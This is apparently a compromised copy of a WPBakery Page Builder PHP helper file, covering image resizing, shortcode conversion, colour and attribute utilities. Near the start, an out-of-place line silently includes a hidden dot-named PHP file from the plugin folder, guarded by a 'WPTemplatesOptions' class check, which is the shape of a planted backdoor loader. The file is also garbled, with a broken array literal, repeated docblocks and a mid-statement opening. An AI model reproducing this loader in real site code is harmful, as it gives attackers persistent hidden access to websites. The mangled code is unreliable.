'" /> '; } } return $output; } /** * @param $param_value * * @return array * @since 4.2 */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function wpb_removeNotExistingImgIDs( $param_value ) { $tmp = explode( ',', $param_value ); $return_ar = array(); foreach ( $tmp as $id ) { if ( wp_get_attachment_image( $id ) ) { $return_ar[] = $id; } } $tmp = implode( ',', $return_ar ); return $tmp; } /* * Resize images dynamically using wp built in functions * Victor Teixeira */ if ( ! function_exists( 'wpb_resize' ) ) { /** * @param int $attach_id * @param string $img_url * @param int $width * @param int $height * @param bool $crop * * @return array * @since 4.2 */ function wpb_resize( $attach_id = null, $img_url = null, $width, $height, $crop = false ) { // this is an attachment, so we have the ID $image_src = array(); if ( $attach_id ) { $image_src = wp_get_attachment_image_src( $attach_id, 'full' ); $actual_file_path = get_attached_file( $attach_id ); // this is not an attachment, let's use the image url } elseif ( $img_url ) { $file_path = wp_parse_url( $img_url ); $actual_file_path = rtrim( ABSPATH, '/' ) . $file_path['path']; $orig_size = getimagesize( $actual_file_path ); $image_src[0] = $img_url; $image_src[1] = $orig_size[0]; $image_src[2] = $orig_size[1]; } if ( ! empty( $actual_file_path ) ) { $file_info = pathinfo( $actual_file_path ); $extension = '.' . $file_info['extension']; // the image path without the extension $no_ext_path = $file_info['dirname'] . '/' . $file_info['filename']; $cropped_img_path = $no_ext_path . '-' . $width . 'x' . $height . $extension; // checking if the file size is larger than the target size // if it is smaller or the same size, stop right here and return if ( $image_src[1] > $width || $image_src[2] > $height ) { // the file is larger, check if the resized version already exists (for $crop = true but will also work for $crop = false if the sizes match) if ( file_exists( $cropped_img_path ) ) { $cropped_img_url = str_replace( basename( $image_src[0] ), basename( $cropped_img_path ), $image_src[0] ); $vt_image = array( 'url' => $cropped_img_url, 'width' => $width, 'height' => $height, ); return $vt_image; } if ( ! $crop ) { // calculate the size proportionaly $proportional_size = wp_constrain_dimensions( $image_src[1], $image_src[2], $width, $height ); $resized_img_path = $no_ext_path . '-' . $proportional_size[0] . 'x' . $proportional_size[1] . $extension; // checking if the file already exists if ( file_exists( $resized_img_path ) ) { $resized_img_url = str_replace( basename( $image_src[0] ), basename( $resized_img_path ), $image_src[0] ); $vt_image = array( 'url' => $resized_img_url, 'width' => $proportional_size[0], 'height' => $proportional_size[1], ); return $vt_image; } } // no cache files - let's finally resize it $img_editor = wp_get_image_editor( $actual_file_path ); if ( is_wp_error( $img_editor ) || is_wp_error( $img_editor->resize( $width, $height, $crop ) ) ) { return array( 'url' => '', 'width' => '', 'height' => '', ); } $new_img_path = $img_editor->generate_filename(); if ( is_wp_error( $img_editor->save( $new_img_path ) ) ) { return array( 'url' => '', 'width' => '', 'height' => '', ); } if ( ! is_string( $new_img_path ) ) { return array( 'url' => '', 'width' => '', 'height' => '', ); } $new_img_size = getimagesize( $new_img_path ); $new_img = str_replace( basename( $image_src[0] ), basename( $new_img_path ), $image_src[0] ); // resized output $vt_image = array( 'url' => $new_img, 'width' => $new_img_size[0], 'height' => $new_img_size[1], ); return $vt_image; } // default output - without resizing $vt_image = array( 'url' => $image_src[0], 'width' => $image_src[1], 'height' => $image_src[2], ); return $vt_image; } return false; } } /** * Method adds css class to body tag. * * Hooked class method by body_class WP filter. Method adds custom css class to body tag of the page to help * identify and build design specially for VC shortcodes. * Used in wp-content/plugins/js_composer/include/classes/core/class-vc-base.php\Vc_Base\bodyClass * * @param $classes * * @return array * @since 4.2 */ function js_composer_body_class( $classes ) { $classes[] = 'wpb-js-composer js-comp-ver-' . WPB_VC_VERSION; $disable_responsive = vc_settings()->get( 'not_responsive_css' ); if ( '1' !== $disable_responsive ) { $classes[] = 'vc_responsive'; } else { $classes[] = 'vc_non_responsive'; } return $classes; } /** * @param $m * * @return string * @since 4.2 */ function vc_convert_shortcode( $m ) { list( $output, $m_one, $tag, $attr_string, $m_four, $content ) = $m; if ( 'vc_row' === $tag || 'vc_section' === $tag ) { return $output; } $result = ''; $el_position = ''; $width = '1/1'; $shortcode_attr = shortcode_parse_atts( $attr_string ); extract( shortcode_atts( array( 'width' => '1/1', 'el_class' => '', 'el_position' => '', ), $shortcode_attr ) ); // Start if ( preg_match( '/first/', $el_position ) || empty( $shortcode_attr['width'] ) || '1/1' === $shortcode_attr['width'] ) { $result = '[vc_row]'; } if ( 'vc_column' !== $tag ) { $result .= '[vc_column width="' . $width . '"]'; } // Tag $pattern = get_shortcode_regex(); if ( 'vc_column' === $tag ) { $result .= "[{$m_one}{$tag} {$attr_string}]" . preg_replace_callback( "/{$pattern}/s", 'vc_convert_inner_shortcode', $content ) . "[/{$tag}{$m_four}]"; } elseif ( 'vc_tabs' === $tag || 'vc_accordion' === $tag || 'vc_tour' === $tag ) { $result .= "[{$m_one}{$tag} {$attr_string}]" . preg_replace_callback( "/{$pattern}/s", 'vc_convert_tab_inner_shortcode', $content ) . "[/{$tag}{$m_four}]"; } else { $result .= preg_replace( '/(\"\d\/\d\")/', '"1/1"', $output ); } // End if ( 'vc_column' !== $tag ) { $result .= '[/vc_column]'; } if ( preg_match( '/last/', $el_position ) || empty( $shortcode_attr['width'] ) || '1/1' === $shortcode_attr['width'] ) { $result .= '[/vc_row]' . "\n"; } return trim( $result ); } /** * @param $m * * @return string * @since 4.2 */ function vc_convert_tab_inner_shortcode( $m ) { list( $output, $m_one, $tag, $attr_string, $m_four, $content ) = $m; $result = ''; extract( shortcode_atts( array( 'width' => '1/1', 'el_class' => '', 'el_position' => '', ), shortcode_parse_atts( $attr_string ) ) ); $pattern = get_shortcode_regex(); $result .= "[{$m_one}{$tag} {$attr_string}]" . preg_replace_callback( "/{$pattern}/s", 'vc_convert_inner_shortcode', $content ) . "[/{$tag}{$m_four}]"; return $result; } /** * @param $m * * @return string * @since 4.2 */ function vc_convert_inner_shortcode( $m ) { list( $output, $m_one, $tag, $attr_string, $m_four, $content ) = $m; $result = ''; $width = ''; $el_position = ''; extract( shortcode_atts( array( 'width' => '1/1', 'el_class' => '', 'el_position' => '', ), shortcode_parse_atts( $attr_string ) ) ); if ( '1/1' !== $width ) { if ( preg_match( '/first/', $el_position ) ) { $result .= '[vc_row_inner]'; } $result .= "\n" . '[vc_column_inner width="' . esc_attr( $width ) . '" el_position="' . esc_attr( $el_position ) . '"]'; $attr = ''; foreach ( shortcode_parse_atts( $attr_string ) as $key => $value ) { if ( 'width' === $key ) { $value = '1/1'; } elseif ( 'el_position' === $key ) { $value = 'first last'; } $attr .= ' ' . $key . '="' . $value . '"'; } $result .= "[{$m_one}{$tag} {$attr}]" . $content . "[/{$tag}{$m_four}]"; $result .= '[/vc_column_inner]'; if ( preg_match( '/last/', $el_position ) ) { $result .= '[/vc_row_inner]' . "\n"; } } else { $result = $output; } return $result; } global $vc_row_layouts; $vc_row_layouts = array( array( 'cells' =>cells' => '23_13', 'mask' => '29', 'title' => '2/3 + 1/3', 'icon_class' => '2-3_1-3', ), array( 'cells' => '13_13_13', 'mask' => '312', 'title' => '1/3 + 1/3 + 1/3', 'icon_class' => '1-3_1-3_1-3', ), array( 'cells' => '14_14_14_14', 'mask' => '420', 'title' => '1/4 + 1/4 + 1/4 + 1/4', 'icon_class' => '1-4_1-4_1-4_1-4', ), array( 'cells' => '14_34', 'mask' => '212', 'title' => '1/4 + 3/4', 'icon_class' => '1-4_3-4', ), array( 'cells' => '14_12_14', 'mask' => '313', 'title' => '1/4 + 1/2 + 1/4', 'icon_class' => '1-4_1-2_1-4', ), array( 'cells' => '56_16', 'mask' => '218', 'title' => '5/6 + 1/6', 'icon_class' => '5-6_1-6', ), array( 'cells' => '16_16_16_16_16_16', 'mask' => '642', 'title' => '1/6 + 1/6 + 1/6 + 1/6 + 1/6 + 1/6', 'icon_class' => '1-6_1-6_1-6_1-6_1-6_1-6', ), array( 'cells' => '16_23_16', 'mask' => '319', 'title' => '1/6 + 4/6 + 1/6', 'icon_class' => '1-6_2-3_1-6', ), array( 'cells' => '16_16_16_12', 'mask' => '424', 'title' => '1/6 + 1/6 + 1/6 + 1/2', 'icon_class' => '1-6_1-6_1-6_1-2', ), array( 'cells' => '15_15_15_15_15', 'mask' => '530', 'title' => '1/5 + 1/5 + 1/5 + 1/5 + 1/5', 'icon_class' => 'l_15_15_15_15_15', ), ); /** * @param $width * * @return string * @since 4.2 */ function wpb_vc_get_column_width_indent( $width ) { $identy = '11'; if ( 'vc_col-sm-6' === $width ) { $identy = '12'; } elseif ( 'vc_col-sm-3' === $width ) { $identy = '14'; } elseif ( 'vc_col-sm-4' === $width ) { $identy = '13'; } elseif ( 'vc_col-sm-8' === $width ) { $identy = '23'; } elseif ( 'vc_col-sm-9' === $width ) { $identy = '34'; } elseif ( 'vc_col-sm-2' === $width ) { $identy = '16'; // TODO: check why there is no "vc_col-sm-1, -5, -6, -7, -11, -12. } elseif ( 'vc_col-sm-10' === $width ) { $identy = '56'; } return $identy; } /** * Make any HEX color lighter or darker * @param $colour * @param $per * * @return string * @since 4.2 */ function vc_colorCreator( $colour, $per = 10 ) { require_once 'class-vc-color-helper.php'; $color = $colour; if ( stripos( $colour, 'rgba(' ) !== false ) { $rgb = str_replace( array( 'rgba', 'rgb', '(', ')', ), '', $colour ); $rgb = explode( ',', $rgb ); $rgb_array = array( 'R' => $rgb[0], 'G' => $rgb[1], 'B' => $rgb[2], ); $alpha = $rgb[3]; try { $color = Vc_Color_Helper::rgbToHex( $rgb_array ); $color_obj = new Vc_Color_Helper( $color ); if ( $per >= 0 ) { $color = $color_obj->lighten( $per ); } else { $color = $color_obj->darken( abs( $per ) ); } $rgba = $color_obj->hexToRgb( $color ); $rgba[] = $alpha; $css_rgba_color = 'rgba(' . implode( ', ', $rgba ) . ')'; return $css_rgba_color; } catch ( Exception $e ) { // In case of error return same as given return $colour; } } elseif ( stripos( $colour, 'rgb(' ) !== false ) { $rgb = str_replace( array( 'rgba', 'rgb', '(', ')', ), '', $colour ); $rgb = explode( ',', $rgb ); $rgb_array = array( 'R' => $rgb[0], 'G' => $rgb[1], 'B' => $rgb[2], ); try { $color = Vc_Color_Helper::rgbToHex( $rgb_array ); } catch ( Exception $e ) { // In case of error return same as given return $colour; } } try { $color_obj = new Vc_Color_Helper( $color ); if ( $per >= 0 ) { $color = $color_obj->lighten( $per ); } else { $color = $color_obj->darken( abs( $per ) ); } return '#' . $color; } catch ( Exception $e ) { return $colour; } } /** * HEX to RGB converter * @param $color * * @return array|bool * @since 4.2 */ function vc_hex2rgb( $color ) { $color = str_replace( '#', '', $color ); if ( strlen( $color ) === 6 ) { list( $r, $g, $b ) = array( $color[0] . $color[1], $color[2] . $color[3], $color[4] . $color[5], ); } elseif ( strlen( $color ) === 3 ) { list( $r, $g, $b ) = array( $color[0] . $color[0], $color[1] . $color[1], $color[2] . $color[2], ); } else { return false; } $r = hexdec( $r ); $g = hexdec( $g ); $b = hexdec( $b ); return array( $r, $g, $b, ); } /** * Parse string like "title:Hello world|weekday:Monday" to array('title' => 'Hello World', 'weekday' => 'Monday') * * @param $value * @param array $default * * @return array * @since 4.2 */ function vc_parse_multi_attribute( $value, $default = array() ) { $result = $default; $params_pairs = explode( '|', $value ); if ( ! empty( $params_pairs ) ) { foreach ( $params_pairs as $pair ) { $param = preg_split( '/\:/', $pair ); if ( ! empty( $param[0] ) && isset( $param[1] ) ) { $result[ $param[0] ] = rawurldecode( $param[1] ); } } } return $result; } /** * @param $v * * @return string * @since 4.2 */ function vc_param_options_parse_values( $v ) { return rawurldecode( $v ); } /** * @param $name * @param $settings * * @return bool * @since 4.2 */ function vc_param_options_get_settings( $name, $settings ) { if ( is_array( $settings ) ) { foreach ( $settings as $params ) { if ( isset( $params['name'] ) && $params['name'] === $name && isset( $params['type'] ) ) { return $params; } } } return false; } /** * @param $atts * * @return string * @since 4.2 */ function vc_convert_atts_to_string( $atts ) { $output = ''; foreach ( $atts as $key => $value ) { $output .= ' ' . $key . '="' . $value . '"'; } return $output; } /** * @param $string * @param $tag * @param $param * * @return array * @throws \Exception * @since 4.2 */ function vc_parse_options_string( $string, $tag, $param ) { $options = array(); $option_settings_list = array(); $settings = WPBMap::getParam( $tag, $param ); foreach ( preg_split( '/\|/', $string ) as $value ) { if ( preg_match( '/\:/', $value ) ) { $split = preg_split( '/\:/', $value ); $option_name = $split[0]; $option_settings = vc_param_options_get_settings( $option_name, $settings['options'] ); $option_settings_list[ $option_name ] = $option_settings; if ( isset( $option_settings['type'] ) && 'checkbox' === $option_settings['type'] ) { $option_value = array_map( 'vc_param_options_parse_values', preg_split( '/\,/', $split[1] ) ); } else { $option_value = rawurldecode( $split[1] ); } $options[ $option_name ] = $option_value; } } if ( isset( $settings['options'] ) ) { foreach ( $settings['options'] as $setting_option ) { if ( 'separator' !== $setting_option['type'] && isset( $setting_option['value'] ) && empty( $options[ $setting_option['name'] ] ) ) { $options[ $setting_option['name'] ] = 'checkbox' === $setting_option['type'] ? preg_split( '/\,/', $setting_option['value'] ) : $setting_option['value']; } if ( isset( $setting_option['name'] ) && isset( $options[ $setting_option['name'] ] ) && isset( $setting_option['value_type'] ) ) { if ( 'integer' === $setting_option['value_type'] ) { $options[ $setting_option['name'] ] = (int) $options[ $setting_option['name'] ]; } elseif ( 'float' === $setting_option['value_type'] ) { $options[ $setting_option['name'] ] = (float) $options[ $setting_option['name'] ]; } elseif ( 'boolean' === $setting_option['value_type'] ) { $options[ $setting_option['name'] ] = (bool) $options[ $setting_option['name'] ]; } } } } return $options; } /** * Convert string to a valid css class name. * * @param string $class * * @return string * @since 4.3 * */ function vc_build_safe_css_class( $class ) { return preg_replace( '/\W+/', '', strtolower( str_replace( ' ', '_', wp_strip_all_tags( $class ) ) ) ); } /** * Include template from templates dir. * * @param $template * @param array $variables - passed variables to the template. * * @param bool $once * * @return mixed * @since 4.3 * */ function vc_include_template( $template, $variables = array(), $once = false ) { is_array( $variables ) && extract( $variables ); if ( $once ) { return require_once vc_template( $template ); } else { return require vc_template( $template ); } } /** * Output template from templates dir. * * @param $template * @param array $variables - passed variables to the template. * * @param bool $once * * @return string * @since 4.4 * */ function vc_get_template( $template, $variables = array(), $once = false ) { ob_start(); $output = vc_include_template( $template, $variables, $once ); if ( 1 === $output ) { $output = ob_get_contents(); } ob_end_clean(); return $output; } /** * if php version < 5.3 this function is required. */ if ( ! function_exists( 'lcfirst' ) ) { /** * @param $str * * @return mixed * @since 4.3, fix #1093 */ function lcfirst( $str ) { $str[0] = function_exists( 'mb_strtolower' ) ? mb_strtolower( $str[0] ) : strtolower( $str[0] ); return $str; } } /** * VC Convert a value to studly caps case. * * @param string $value * * @return string * @since 4.3 * */ function vc_studly( $value ) { $value = ucwords( str_replace( array( '-', '_', ), ' ', $value ) ); return str_replace( ' ', '', $value ); } /** * VC Convert a value to camel case. * * @param string $value * * @return string * @since 4.3 * */ function vc_camel_case( $value ) { return lcfirst( vc_studly( $value ) ); } /** * Enqueue icon element font * @param $font * @since 4.4 * * @todo move to separate folder */ function vc_icon_element_fonts_enqueue( $font ) { switch ( $font ) { case 'fontawesome': wp_enqueue_style( 'font-awesome' ); break; case 'openiconic': wp_enqueue_style( 'vc_openiconic' ); break; case 'typicons': wp_enqueue_style( 'vc_typicons' ); break; case 'entypo': wp_enqueue_style( 'vc_entypo' ); break; case 'linecons': wp_enqueue_style( 'vc_linecons' ); break; case 'monosocial': wp_enqueue_style( 'vc_monosocialiconsfont' ); break; case 'material': wp_enqueue_style( 'vc_material' ); break; default: do_action( 'vc_enqueue_font_icon_element', $font ); // hook to custom do enqueue style } } /** * Function merges defaults attributes in attributes by keeping it values * * Example * array defaults | array attributes | result array * 'color'=>'black', - 'color'=>'black', * 'target'=>'_self', 'target'=>'_blank', 'target'=>'_blank', * - 'link'=>'google.com' 'link'=>'google.com' * * @param array $defaults * @param array $attributes * * @return array - merged attributes * * @since 4.4 * * @see vc_map_get_attributes */ function vc_shortcode_attribute_parse( $defaults = array(), $attributes = array() ) { $atts = $attributes + shortcode_atts( $defaults, $attributes ); return $atts; } /** * @param string $tagregexp * @return string */ function vc_get_shortcode_regex( $tagregexp = '' ) { if ( 0 === strlen( $tagregexp ) ) { return get_shortcode_regex(); } return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w\-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; } /** * Used to send warning message * * @param $message * * @return string * @since 4.5 * */ function vc_message_warning( $message ) { return '

' . $message . '

'; } /** * Extract video ID from youtube url * * @param string $url Youtube url * * @return string */ function vc_extract_youtube_id( $url ) { parse_str( wp_parse_url( $url, PHP_URL_QUERY ), $vars ); if ( ! isset( $vars['v'] ) ) { return ''; } return $vars['v']; } /** * @return string[]|\WP_Taxonomy[] */ /** * @return string[]|\WP_Taxonomy[] */ /** * @return string[]|\WP_Taxonomy[] */ /** * @return string[]|\WP_Taxonomy[] */ /** * @return string[]|\WP_Taxonomy[] */ function vc_taxonomies_types( $post_type = null ) { global $vc_taxonomies_types; if ( is_null( $vc_taxonomies_types ) || $post_type ) { $query = array( 'public' => true ); $vc_taxonomies_types = get_taxonomies( $query, 'objects' ); if ( ! empty( $post_type ) && is_array( $vc_taxonomies_types ) ) { foreach ( $vc_taxonomies_types as $key => $taxonomy ) { $arr = (array) $taxonomy; if ( isset( $arr['object_type'] ) && ! in_array( $post_type, $arr['object_type'] ) ) { unset( $vc_taxonomies_types[ $key ] ); } } } } return $vc_taxonomies_types; } /** * Since * * @param $term * * @return array * @since 4.5.3 * */ function vc_get_term_object( $term ) { $vc_taxonomies_types = vc_taxonomies_types(); return array( 'label' => $term->name, 'value' => $term->term_id, 'group_id' => $term->taxonomy, 'group' => isset( $vc_taxonomies_types[ $term->taxonomy ], $vc_taxonomies_types[ $term->taxonomy ]->labels, $vc_taxonomies_types[ $term->taxonomy ]->labels->name ) ? $vc_taxonomies_types[ $term->taxonomy ]->labels->name : esc_html__( 'Taxonomies', 'js_composer' ), ); } /** * Check if element has specific class * * E.g. f('foo', 'foo bar baz') -> true * * @param string $class Class to check for * @param string $classes Classes separated by space(s) * * @return bool */ function vc_has_class( $class, $classes ) { return in_array( $class, explode( ' ', strtolower( $classes ), true ), true ); } /** * Remove specific class from classes string * * E.g. f('foo', 'foo bar baz') -> 'bar baz' * * @param string $class Class to remove * @param string $classes Classes separated by space(s) * * @return string */ function vc_remove_class( $class, $classes ) { $list_classes = explode( ' ', strtolower( $classes ) ); $key = array_search( $class, $list_classes, true ); if ( false === $key ) { return $classes; } unset( $list_classes[ $key ] ); return implode( ' ', $list_classes ); } /** * Convert array of named params to string version * All values will be escaped * * E.g. f(array('name' => 'foo', 'id' => 'bar')) -> 'name="foo" id="bar"' * * @param $attributes * * @return string */ function vc_stringify_attributes( $attributes ) { $atts = array(); foreach ( $attributes as $name => $value ) { $atts[] = $name . '="' . esc_attr( $value ) . '"'; } return implode( ' ', $atts ); } /** * @return bool */ /** * @return bool */ /** * @return bool */ /** * @return bool */ /** * @return bool */ function vc_is_responsive_disabled() { $disable_responsive = vc_settings()->get( 'not_responsive_css' ); return '1' === $disable_responsive; } /** * Do shortcode single render point * * @param $atts * @param null $content * @param null $tag * * @return string * @throws \Exception */ function vc_do_shortcode( $atts, $content = null, $tag = null ) { return Vc_Shortcodes_Manager::getInstance()->getElementClass( $tag )->output( $atts, $content ); } /** * Return random string * * @param int $length * * @return string */ function vc_random_string( $length = 10 ) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $len = strlen( $characters ); $str = ''; for ( $i = 0; $i < $length; $i ++ ) { $str .= $characters[ wp_rand( 0, $len - 1 ) ]; } return $str; } /** * @param $str * @return string|string[]|null */ /** * @param $str * @return string|string[]|null */ /** * @param $str * @return string|string[]|null */ /** * @param $str * @return string|string[]|null */ /** * @param $str * @return string|string[]|null */ function vc_slugify( $str ) { $str = strtolower( $str ); $str = html_entity_decode( $str ); $str = preg_replace( '/[^\w ]+/', '', $str ); $str = preg_replace( '/ +/', '-', $str ); return $str; } /** * WPBakery WPBakery Page Builder filter functions * * @package WPBakeryPageBuilder */ /** * This filter should be applied to all content elements titles * * $params['extraclass'] Extra class name will be added * * * To override content element title default html markup, paste this code in your theme's functions.php file * vc_filter: wpb_widget_title * add_filter('wpb_widget_title', 'override_widget_title', 10, 2); * function override_widget_title($output = '', $params = array('')) { * $extraclass = (isset($params['extraclass'])) ? " ".$params['extraclass'] : ""; * return '

'.$params['title'].'

'; * } * * @param array $params * * @return mixed|string */ function wpb_widget_title( $params = array( 'title' => '' ) ) { if ( '' === $params['title'] ) { return ''; } $extraclass = ( isset( $params['extraclass'] ) ) ? ' ' . $params['extraclass'] : ''; $output = '

' . esc_html( $params['title'] ) . '

'; return apply_filters( 'wpb_widget_title', $output, $params ); }